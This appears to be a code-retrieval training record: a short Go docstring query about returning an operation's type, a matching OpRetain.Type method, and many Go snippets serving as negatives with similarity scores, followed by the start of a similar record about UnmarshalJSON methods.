{\n\t\told[k]=v.Duplicate()\n\t\told[k].Self=profile.NewBasicProfile(localprofile.GetProfile())\n\t}\n\treturn old\n}", "func (r ApiGetHyperflexVmBackupInfoListRequest) Apply(apply string) ApiGetHyperflexVmBackupInfoListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (s HelpAppUpdateClassArray) Retain(keep func(x HelpAppUpdateClass) bool) HelpAppUpdateClassArray {\n\tn := 0\n\tfor _, x := range s {\n\t\tif keep(x) {\n\t\t\ts[n] = x\n\t\t\tn++\n\t\t}\n\t}\n\ts = s[:n]\n\n\treturn s\n}", "func (f UnFunc) Apply(ctx context.Context, data interface{}) (interface{}, error) {\n\treturn f(ctx, data)\n}", "func (r ApiGetHyperflexSoftwareDistributionEntryListRequest) Apply(apply string) ApiGetHyperflexSoftwareDistributionEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (r ApiGetHyperflexClusterBackupPolicyListRequest) Apply(apply string) ApiGetHyperflexClusterBackupPolicyListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (t *Dense) Apply(fn interface{}, opts ...FuncOpt) (retVal Tensor, err error) {\n\tfo := parseFuncOpts(opts...)\n\treuseT, incr := fo.incrReuse()\n\tsafe := fo.safe()\n\n\tvar reuse *Dense\n\tif reuse, err = getDense(reuseT); err != nil {\n\t\treturn\n\t}\n\n\t// check reuse and stuff\n\tvar res *Dense\n\tswitch {\n\tcase reuse != nil:\n\t\tres = reuse\n\t\tif res.len() != t.Size() {\n\t\t\terr = errors.Errorf(shapeMismatch, t.Shape(), reuse.Shape())\n\t\t\treturn\n\t\t}\n\tcase !safe:\n\t\tres = t\n\tdefault:\n\t\tif t.IsMaterializable() {\n\t\t\tres = t.Materialize().(*Dense)\n\t\t} else {\n\t\t\tres = t.Clone().(*Dense)\n\t\t}\n\t}\n\t// do\n\tswitch {\n\tcase t.viewOf == nil:\n\t\terr = res.mapFn(fn, incr)\n\tcase t.viewOf != nil:\n\t\tit := IteratorFromDense(t)\n\t\tif err = res.iterMap(fn, it, incr); err != nil {\n\t\t\treturn\n\t\t}\n\n\tdefault:\n\t\terr = errors.Errorf(\"Apply not implemented for this state: isView: %t and incr: %t\", t.viewOf == nil, incr)\n\t\treturn\n\t}\n\t// set retVal\n\tswitch {\n\tcase reuse != nil:\n\t\tif err = reuseCheckShape(reuse, t.Shape()); err != nil {\n\t\t\treturn\n\t\t}\n\t\tretVal = reuse\n\tcase !safe:\n\t\tretVal = t\n\tdefault:\n\t\tretVal = res\n\t\t// retVal = New(Of(t.t), WithBacking(res), WithShape(t.Shape()...))\n\t}\n\treturn\n}", "func (p *propertyReference) Apply(key string, value interface{}, ctx *ParsingContext) (bool, error) {\n\tref, ok := ctx.Current.(*VocabularyReference)\n\tif !ok {\n\t\t// May be during resolve reference phase -- nothing to do.\n\t\treturn true, nil\n\t}\n\tref.Name = p.p.GetName()\n\tref.URI = p.p.URI\n\tref.Vocab = p.vocabName\n\treturn true, nil\n}", "func (kv *ShardKV) applier() {\n\tfor kv.killed() == false {\n\t\tselect {\n\t\tcase message := <-kv.applyCh:\n\t\t\tDPrintf(\"{Node %v}{Group %v} tries to apply message %v\", kv.rf.Me(), kv.gid, message)\n\t\t\tif message.CommandValid {\n\t\t\t\tkv.mu.Lock()\n\t\t\t\tif message.CommandIndex <= kv.lastApplied {\n\t\t\t\t\tDPrintf(\"{Node %v}{Group %v} discards outdated message %v because a newer snapshot which lastApplied is %v has been restored\", kv.rf.Me(), kv.gid, message, kv.lastApplied)\n\t\t\t\t\tkv.mu.Unlock()\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tkv.lastApplied = message.CommandIndex\n\n\t\t\t\tvar response *CommandResponse\n\t\t\t\tcommand := message.Command.(Command)\n\t\t\t\tswitch command.Op {\n\t\t\t\tcase Operation:\n\t\t\t\t\toperation := command.Data.(CommandRequest)\n\t\t\t\t\tresponse = kv.applyOperation(&message, &operation)\n\t\t\t\tcase Configuration:\n\t\t\t\t\tnextConfig := command.Data.(shardctrler.Config)\n\t\t\t\t\tresponse = kv.applyConfiguration(&nextConfig)\n\t\t\t\tcase InsertShards:\n\t\t\t\t\tshardsInfo := command.Data.(ShardOperationResponse)\n\t\t\t\t\tresponse = kv.applyInsertShards(&shardsInfo)\n\t\t\t\tcase DeleteShards:\n\t\t\t\t\tshardsInfo := command.Data.(ShardOperationRequest)\n\t\t\t\t\tresponse = kv.applyDeleteShards(&shardsInfo)\n\t\t\t\tcase EmptyEntry:\n\t\t\t\t\tresponse = kv.applyEmptyEntry()\n\t\t\t\t}\n\n\t\t\t\t// only notify related channel for currentTerm's log when node is leader\n\t\t\t\tif currentTerm, isLeader := kv.rf.GetState(); isLeader && message.CommandTerm == currentTerm {\n\t\t\t\t\tch := kv.getNotifyChan(message.CommandIndex)\n\t\t\t\t\tch <- response\n\t\t\t\t}\n\n\t\t\t\tneedSnapshot := kv.needSnapshot()\n\t\t\t\tif needSnapshot {\n\t\t\t\t\tkv.takeSnapshot(message.CommandIndex)\n\t\t\t\t}\n\t\t\t\tkv.mu.Unlock()\n\t\t\t} else if message.SnapshotValid {\n\t\t\t\tkv.mu.Lock()\n\t\t\t\tif kv.rf.CondInstallSnapshot(message.SnapshotTerm, message.SnapshotIndex, message.Snapshot) {\n\t\t\t\t\tkv.restoreSnapshot(message.Snapshot)\n\t\t\t\t\tkv.lastApplied = message.SnapshotIndex\n\t\t\t\t}\n\t\t\t\tkv.mu.Unlock()\n\t\t\t} else {\n\t\t\t\tpanic(fmt.Sprintf(\"unexpected Message %v\", message))\n\t\t\t}\n\t\t}\n\t}\n}", "func (c *Cache) Evict() {\n\tfor _, v := range c.entries {\n\t\tfor k, svcEntry := range v {\n\t\t\tif !svcEntry.Valid {\n\t\t\t\tdelete(v, k)\n\t\t\t}\n\t\t}\n\t}\n}" ]
[ "0.61445767", "0.61179125", "0.6069404", "0.58456886", "0.5591861", "0.5501484", "0.5460101", "0.5356971", "0.5294953", "0.5269626", "0.52683055", "0.5263267", "0.51527566", "0.51432675", "0.5080763", "0.50797594", "0.50747085", "0.5055354", "0.50270057", "0.50018597", "0.49940044", "0.4984384", "0.4904361", "0.48598", "0.4859767", "0.48425674", "0.48320183", "0.4827011", "0.4814645", "0.4784176", "0.47801235", "0.4771074", "0.476197", "0.47523347", "0.4749835", "0.47481918", "0.47449794", "0.4722872", "0.47026527", "0.46961433", "0.46624216", "0.46521372", "0.4642565", "0.46417284", "0.46394253", "0.46272248", "0.46267286", "0.4593088", "0.45877618", "0.4582867", "0.45774487", "0.45703182", "0.45653206", "0.45628154", "0.45534894", "0.4552851", "0.45496657", "0.45305324", "0.45229667", "0.4512924", "0.4505484", "0.4500601", "0.4498068", "0.449471", "0.4490163", "0.44857675", "0.4482517", "0.44797924", "0.44745916", "0.44732082", "0.44661114", "0.44634447", "0.44591185", "0.44543976", "0.44494078", "0.44488052", "0.44475818", "0.4441516", "0.4435141", "0.44319487", "0.4428573", "0.44282612", "0.44269907", "0.44246382", "0.44229534", "0.4420937", "0.44150433", "0.44110215", "0.43905184", "0.4386506", "0.4385735", "0.4380861", "0.4378336", "0.4370919", "0.4369806", "0.4363919", "0.43638676", "0.4359821", "0.4356416", "0.43510798" ]
0.7609457
0
Type will return the type of operation
func (op *OpRetain) Type() string { return "retain" }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (op *OperationProperty) Type() string {\n\treturn \"github.com/wunderkraut/radi-api/operation.Operation\"\n}", "func (op *OpAdd) Type() string {\n\treturn \"add\"\n}", "func (op *ConvertOperation) Type() OpType {\n\treturn TypeConvert\n}", "func (op *TotalCommentRewardOperation) Type() OpType {\n\treturn TypeTotalCommentReward\n}", "func (m *EqOp) Type() string {\n\treturn \"EqOp\"\n}", "func (op *CommitteePayRequestOperation) Type() OpType {\n\treturn TypeCommitteePayRequest\n}", "func (op *ProducerRewardOperationOperation) Type() OpType {\n\treturn TypeProducerRewardOperation\n}", "func (op *TransitToCyberwayOperation) Type() OpType {\n\treturn TypeTransitToCyberway\n}", "func (op *AuthorRewardOperation) Type() OpType {\n\treturn TypeAuthorReward\n}", "func (m *StartsWithCompareOperation) Type() string {\n\treturn \"StartsWithCompareOperation\"\n}", "func (op *OpFlatten) Type() string {\n\treturn \"flatten\"\n}", "func (op *ProposalCreateOperation) Type() OpType {\n\treturn TypeProposalCreate\n}", "func (m *IPInRangeCompareOperation) Type() string {\n\treturn \"IpInRangeCompareOperation\"\n}", "func (m *OperativeMutation) Type() string {\n\treturn m.typ\n}", "func getOperationType(op iop.OperationInput) (operationType, error) {\n\thasAccount := op.Account != nil\n\thasTransaction := op.Transaction != nil\n\tif hasAccount == hasTransaction {\n\t\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \"account\" or \"transaction\" fields set`)\n\t}\n\tif hasAccount {\n\t\treturn operationTypeCreateAccount, nil\n\t}\n\treturn operationTypePerformTransaction, nil\n}", "func (m *DirectoryAudit) GetOperationType()(*string) {\n return m.operationType\n}", "func (op *FillVestingWithdrawOperation) Type() OpType {\n\treturn TypeFillVestingWithdraw\n}", "func (d *DarwinKeyOperation) Type() string {\n\treturn d.KeyType\n}", "func (op *ClaimRewardBalanceOperation) Type() OpType {\n\treturn TypeClaimRewardBalance\n}", "func (m *OperativerecordMutation) Type() string {\n\treturn m.typ\n}", "func (*Int) GetOp() string { return \"Int\" }", "func (m *UnaryOperatorOrd) Type() Type {\n\treturn IntType{}\n}", "func (op *ResetAccountOperation) Type() OpType {\n\treturn TypeResetAccount\n}", "func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }", "func (op *OpRemove) Type() string {\n\treturn \"remove\"\n}", "func (r *RegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (b *BitOp) Type() sql.Type {\n\trTyp := b.Right.Type()\n\tif types.IsDeferredType(rTyp) {\n\t\treturn rTyp\n\t}\n\tlTyp := b.Left.Type()\n\tif types.IsDeferredType(lTyp) {\n\t\treturn lTyp\n\t}\n\n\tif types.IsText(lTyp) || types.IsText(rTyp) {\n\t\treturn types.Float64\n\t}\n\n\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\n\t\treturn types.Uint64\n\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\n\t\treturn types.Int64\n\t}\n\n\treturn types.Float64\n}", "func (s Spec) Type() string {\n\treturn \"exec\"\n}", "func (op *RecoverAccountOperation) Type() OpType {\n\treturn TypeRecoverAccount\n}", "func (m *UnaryOperatorLen) Type() Type {\n\treturn IntType{}\n}", "func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}", "func (m *ToolMutation) Type() string {\n\treturn m.typ\n}", "func (cmd Command) Type() string {\n\treturn cmd.MessageType\n}", "func (p RProc) Type() Type { return p.Value().Type() }", "func (r *Rdispatch) Type() int8 {\n\treturn RdispatchTpe\n}", "func (m *BinaryOperatorMod) Type() Type {\n\treturn IntType{}\n}", "func (op *ReportOverProductionOperation) Type() OpType {\n\treturn TypeReportOverProduction\n}", "func (e *CustomExecutor) GetType() int {\n\treturn model.CommandTypeCustom\n}", "func (m *BinaryOperatorAdd) Type() Type {\n\treturn IntType{}\n}", "func (n *NotRegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (e *EqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (expr *ExprXor) Type() types.Type {\n\treturn expr.X.Type()\n}", "func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}", "func (fn *Function) Type() ObjectType {\n\treturn ObjectTypeFunction\n}", "func (m *UnaryOperatorNegate) Type() Type {\n\treturn IntType{}\n}", "func (fn NoArgFunc) Type() Type { return fn.SQLType }", "func (e *ExprXor) Type() types.Type {\n\treturn e.X.Type()\n}", "func (m *BinaryOperatorDiv) Type() Type {\n\treturn IntType{}\n}", "func (f *FunctionLike) Type() string {\n\tif f.macro {\n\t\treturn \"macro\"\n\t}\n\treturn \"function\"\n}", "func (l *LessEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (op *OpMove) Type() string {\n\treturn \"move\"\n}", "func (execution *Execution) GetType() (execType string) {\n\tswitch strings.ToLower(execution.Type) {\n\tcase \"\":\n\t\tfallthrough\n\tcase \"local\":\n\t\texecType = \"local\"\n\tcase \"remote\":\n\t\texecType = \"remote\"\n\tdefault:\n\t\tpanic(execution)\n\t}\n\n\treturn\n}", "func (g *generator) customOperationType() error {\n\top := g.aux.customOp\n\tif op == nil {\n\t\treturn nil\n\t}\n\topName := op.message.GetName()\n\n\tptyp, err := g.customOpPointerType()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp := g.printf\n\n\tp(\"// %s represents a long running operation for this API.\", opName)\n\tp(\"type %s struct {\", opName)\n\tp(\" proto %s\", ptyp)\n\tp(\"}\")\n\tp(\"\")\n\tp(\"// Proto returns the raw type this wraps.\")\n\tp(\"func (o *%s) Proto() %s {\", opName, ptyp)\n\tp(\" return o.proto\")\n\tp(\"}\")\n\n\treturn nil\n}", "func (m *BinaryOperatorBitOr) Type() Type {\n\treturn IntType{}\n}", "func (i *InOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\n return m.operationType\n}", "func (obj *standard) Operation() Operation {\n\treturn obj.op\n}", "func (f *Function) Type() ObjectType {\n\treturn FUNCTION\n}", "func (r *Reconciler) Type() string {\n\treturn Type\n}", "func (f *Filter) GetType() FilterOperator {\n\treturn f.operator\n}", "func (m *SystemMutation) Type() string {\n\treturn m.typ\n}", "func (f *Function) Type() ObjectType { return FUNCTION_OBJ }", "func (r ExecuteServiceRequest) Type() RequestType {\n\treturn Execute\n}", "func (m *BinaryOperatorOr) Type() Type {\n\treturn BoolType{}\n}", "func (l *LikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\n\treturn myOperatingSystemType.Typevar\n}", "func (m *OrderproductMutation) Type() string {\n\treturn m.typ\n}", "func (m *BinaryOperatorMult) Type() Type {\n\treturn IntType{}\n}", "func (p *createPlan) Type() string {\n\treturn \"CREATE\"\n}", "func (m *CarserviceMutation) Type() string {\n\treturn m.typ\n}", "func (m *CarCheckInOutMutation) Type() string {\n\treturn m.typ\n}", "func (m *OrderonlineMutation) Type() string {\n\treturn m.typ\n}", "func (o *WorkflowCliCommandAllOf) GetType() string {\n\tif o == nil || o.Type == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Type\n}", "func (expr *ExprOr) Type() types.Type {\n\treturn expr.X.Type()\n}", "func (Instr) Type() sql.Type { return sql.Int64 }", "func (m *TypeproductMutation) Type() string {\n\treturn m.typ\n}", "func (n *NotLikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (this *ObjectUnwrap) Type() value.Type {\n\n\t// this is the succinct version of the above...\n\treturn this.Operand().Type()\n}", "func (m *FinancialMutation) Type() string {\n\treturn m.typ\n}", "func (p *insertPlan) Type() string {\n\treturn \"INSERT\"\n}", "func (m *ResourceMutation) Type() string {\n\treturn m.typ\n}", "func (g *GreaterThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (typ OperationType) String() string {\n\tswitch typ {\n\tcase Query:\n\t\treturn \"query\"\n\tcase Mutation:\n\t\treturn \"mutation\"\n\tcase Subscription:\n\t\treturn \"subscription\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"OperationType(%d)\", int(typ))\n\t}\n}", "func (m *HexMutation) Type() string {\n\treturn m.typ\n}", "func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\n\tltype, err := b.Left.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\trtype, err := b.Right.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\ttyp := mergeNumericalTypes(ltype, rtype)\n\treturn b.Op.Type(typ), nil\n}", "func (m *ZoneproductMutation) Type() string {\n\treturn m.typ\n}", "func (m *StockMutation) Type() string {\n\treturn m.typ\n}", "func (o *Function) Type() *Type {\n\treturn FunctionType\n}", "func (m *ManagerMutation) Type() string {\n\treturn m.typ\n}", "func (l *LessThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func GetOperatorType() OperatorType {\n\tswitch {\n\tcase IsOperatorGo():\n\t\treturn OperatorTypeGo\n\tcase IsOperatorAnsible():\n\t\treturn OperatorTypeAnsible\n\tcase IsOperatorHelm():\n\t\treturn OperatorTypeHelm\n\t}\n\treturn OperatorTypeUnknown\n}", "func (e REnv) Type() Type { return e.Value().Type() }", "func (m *CompetenceMutation) Type() string {\n\treturn m.typ\n}", "func (op *GenericOperation) Kind() uint8 {\n\t// Must be at least long enough to get the kind byte\n\tif len(op.hex) <= 33 {\n\t\treturn opKindUnknown\n\t}\n\n\treturn op.hex[33]\n}", "func (c *Call) Type() Type {\n\treturn c.ExprType\n}", "func (n *NullSafeEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\n return m.operationType\n}", "func (m *PromotiontypeMutation) Type() string {\n\treturn m.typ\n}", "func (m *BinaryOperatorSub) Type() Type {\n\treturn IntType{}\n}", "func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\n\treturn querypb.Type_INT32, nil\n}" ]
[ "0.73397994", "0.7331954", "0.72103316", "0.70835686", "0.7061754", "0.6980852", "0.69322", "0.68823165", "0.6846249", "0.684079", "0.68392855", "0.6821877", "0.67526066", "0.6746585", "0.674267", "0.6730284", "0.67165416", "0.6710324", "0.66475177", "0.66334957", "0.6620575", "0.6574164", "0.6569285", "0.6566755", "0.6549322", "0.6531823", "0.65267223", "0.6524067", "0.6494353", "0.6476448", "0.6455802", "0.64514893", "0.64397943", "0.64392865", "0.64281154", "0.6419435", "0.6413713", "0.63886774", "0.63807184", "0.6375125", "0.6373742", "0.63721126", "0.63579583", "0.63417757", "0.6332697", "0.6328391", "0.6324545", "0.631497", "0.62952644", "0.62910163", "0.62861925", "0.62844765", "0.6274955", "0.62650305", "0.62640405", "0.62523085", "0.6252087", "0.6239459", "0.62389636", "0.6229541", "0.62033015", "0.6200374", "0.61991316", "0.6193402", "0.61895406", "0.61791986", "0.6175558", "0.6175285", "0.61724573", "0.61557966", "0.61456096", "0.6141278", "0.6140642", "0.61386997", "0.61329275", "0.61257845", "0.6124157", "0.6117993", "0.61164016", "0.6114104", "0.611341", "0.6112936", "0.6107847", "0.6092411", "0.6090323", "0.6079666", "0.6078997", "0.607785", "0.6074464", "0.60626715", "0.6057602", "0.60575134", "0.6047113", "0.60389787", "0.603745", "0.60356474", "0.60354406", "0.6028229", "0.60229194", "0.6016492" ]
0.61413467
71
UnmarshalJSON will unmarshal JSON into a retain operation
func (op *OpRetain) UnmarshalJSON(raw []byte) error { return json.Unmarshal(raw, &op.Fields) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (j *jsonNative) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func unmarshalJSON(j extv1.JSON, output *any) error {\n\tif len(j.Raw) == 0 {\n\t\treturn nil\n\t}\n\treturn json.Unmarshal(j.Raw, output)\n}", "func (j *Json) UnmarshalJSON(data []byte) error {\n\terr := json.Unmarshal(data, &j.data)\n\n\tj.exists = (err == nil)\n\treturn err\n}", "func (j *Balance) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *UnloadCheckResponse) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6a975c40DecodeJsonBenchmark(&r, v)\n\treturn r.Error()\n}", "func (v *EventBackForwardCacheNotUsed) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage87(&r, v)\n\treturn r.Error()\n}", "func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *OneLike) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\tdecodeOneLike(&r, v)\n\treturn r.Error()\n}", "func (j *Data) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (m *Lock) UnmarshalJSON(raw []byte) error {\n\n\tvar aO0 Reference\n\tif err := swag.ReadJSON(raw, &aO0); err != nil {\n\t\treturn err\n\t}\n\tm.Reference = aO0\n\n\tvar data struct {\n\t\tCreatedAt strfmt.DateTime `json:\"created_at,omitempty\"`\n\n\t\tCreatedBy *UserReference `json:\"created_by,omitempty\"`\n\n\t\tExpiredAt strfmt.DateTime `json:\"expired_at,omitempty\"`\n\n\t\tIsDownloadPrevented bool `json:\"is_download_prevented,omitempty\"`\n\t}\n\tif err := swag.ReadJSON(raw, &data); err != nil {\n\t\treturn err\n\t}\n\n\tm.CreatedAt = data.CreatedAt\n\n\tm.CreatedBy = data.CreatedBy\n\n\tm.ExpiredAt = data.ExpiredAt\n\n\tm.IsDownloadPrevented = data.IsDownloadPrevented\n\n\treturn nil\n}", "func (j *Producer) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *Visit) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonE564fc13DecodeGithubComLa0rgHighloadcupModel1(&r, v)\n\treturn r.Error()\n}", "func (j *Json) UnmarshalJSON(b []byte) error {\n\tr, err := loadContentWithOptions(b, Options{\n\t\tType: ContentTypeJson,\n\t\tStrNumber: true,\n\t})\n\tif r != nil {\n\t\t// Value copy.\n\t\t*j = *r\n\t}\n\treturn err\n}", "func (v *Stash) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeDrhyuComIndexerModels(&r, v)\n\treturn r.Error()\n}", "func (j *WorkerCreateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (t *BlockTest) UnmarshalJSON(in []byte) error {\n\treturn json.Unmarshal(in, &t.Json)\n}", "func (j *ThirdParty) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *Event) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func UnmarshalFromJSON(data []byte, target interface{}) error {\n\tvar ctx map[string]interface{}\n\terr := json.Unmarshal(data, &ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn Unmarshal(ctx, target)\n}", "func (j *JsonReleaseDate) UnmarshalJSON(b []byte) error {\n\ts := strings.Trim(string(b), \"\\\"\")\n\tt, err := time.Parse(\"2006-01-02\", s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*j = JsonReleaseDate(t)\n\treturn nil\n}", "func UnmarshalJSON(data []byte, v interface{}) {\n\terr := json.Unmarshal(data, v)\n\tAbortIf(err)\n}", "func (j *PurgeQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *OneUpdateLike) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\tdecodeOneUpdateLike(&r, v)\n\treturn r.Error()\n}", "func (j *Segment) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *ModifyAckDeadlineResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (t *Transfer) UnmarshalJSON(data []byte) error {\n\tif id, ok := ParseID(data); ok {\n\t\tt.ID = id\n\t\treturn nil\n\t}\n\n\ttype transfer Transfer\n\tvar v transfer\n\tif err := json.Unmarshal(data, &v); err != nil {\n\t\treturn err\n\t}\n\n\t*t = Transfer(v)\n\treturn nil\n}", "func (v *ShadowStateMetadataSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB7ed31d3DecodeMevericcoreMccommon3(&r, v)\n\treturn r.Error()\n}", "func (w *Entry) UnmarshalJSON(bb []byte) error {\n\t<<!!YOUR_CODE!!>>\n}", "func (j *ModifyAckDeadlineRequest) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *ModifyQueueResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (j *Publisher) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *ShadowStateSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB7ed31d3DecodeMevericcoreMccommon2(&r, v)\n\treturn r.Error()\n}", "func (j *AckMessagesResponse) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *ShadowModelSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB7ed31d3DecodeMevericcoreMccommon5(&r, v)\n\treturn r.Error()\n}", "func (volume *Volume) UnmarshalJSON(b []byte) error {\n\ttype temp Volume\n\ttype links struct {\n\t\tDriveCount int `json:\"[email protected]\"`\n\t\tDrives common.Links\n\t}\n\tvar t struct {\n\t\ttemp\n\t\tLinks links\n\t}\n\n\terr := json.Unmarshal(b, &t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*volume = Volume(t.temp)\n\n\t// Extract the links to other entities for later\n\tvolume.DrivesCount = t.DrivesCount\n\tvolume.drives = t.Links.Drives.ToStrings()\n\n\treturn nil\n}", "func (this *Replicas) UnmarshalJSON(b []byte) error {\n\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}", "func (j *MessageReceipt) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (a *ActivityBugCloned) UnmarshalJSON(b []byte) error {\n\tvar helper activityBugClonedUnmarshalHelper\n\tif err := json.Unmarshal(b, &helper); err != nil {\n\t\treturn err\n\t}\n\t*a = ActivityBugCloned(helper.Attributes)\n\treturn nil\n}", "func (v *ShadowUpdateMsgSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB7ed31d3DecodeMevericcoreMccommon1(&r, v)\n\treturn r.Error()\n}", "func (a *ReloadArgs) UnmarshalJSON(b []byte) error {\n\ttype Copy ReloadArgs\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = ReloadArgs(*c)\n\treturn nil\n}", "func (jf *JsonnetFile) UnmarshalJSON(data []byte) error {\n\tvar s jsonFile\n\tif err := json.Unmarshal(data, &s); err != nil {\n\t\treturn err\n\t}\n\n\tjf.Dependencies = make(map[string]Dependency)\n\tfor _, d := range s.Dependencies {\n\t\tjf.Dependencies[d.Name] = d\n\t}\n\treturn nil\n}", "func (j *qProxyClient) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (a *RemoveScriptToEvaluateOnLoadReply) UnmarshalJSON(b []byte) error {\n\ttype Copy RemoveScriptToEvaluateOnLoadReply\n\tc := &Copy{}\n\terr := json.Unmarshal(b, c)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = RemoveScriptToEvaluateOnLoadReply(*c)\n\treturn nil\n}", "func (t *Transaction) UnmarshalJSON(data []byte) error {\n\tproxy := new(proxyTransaction)\n\tif err := json.Unmarshal(data, proxy); err != nil {\n\t\treturn err\n\t}\n\n\t*t = *(*Transaction)(unsafe.Pointer(proxy))\n\n\treturn nil\n}", "func (v *Raw) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson42239ddeDecodeGithubComKhliengDispatchServer10(&r, v)\n\treturn r.Error()\n}", "func (v *PlantainerShadowSt) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson5bd79fa1DecodeMevericcoreMcplantainer8(&r, v)\n\treturn r.Error()\n}", "func (v *VisitArray) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: 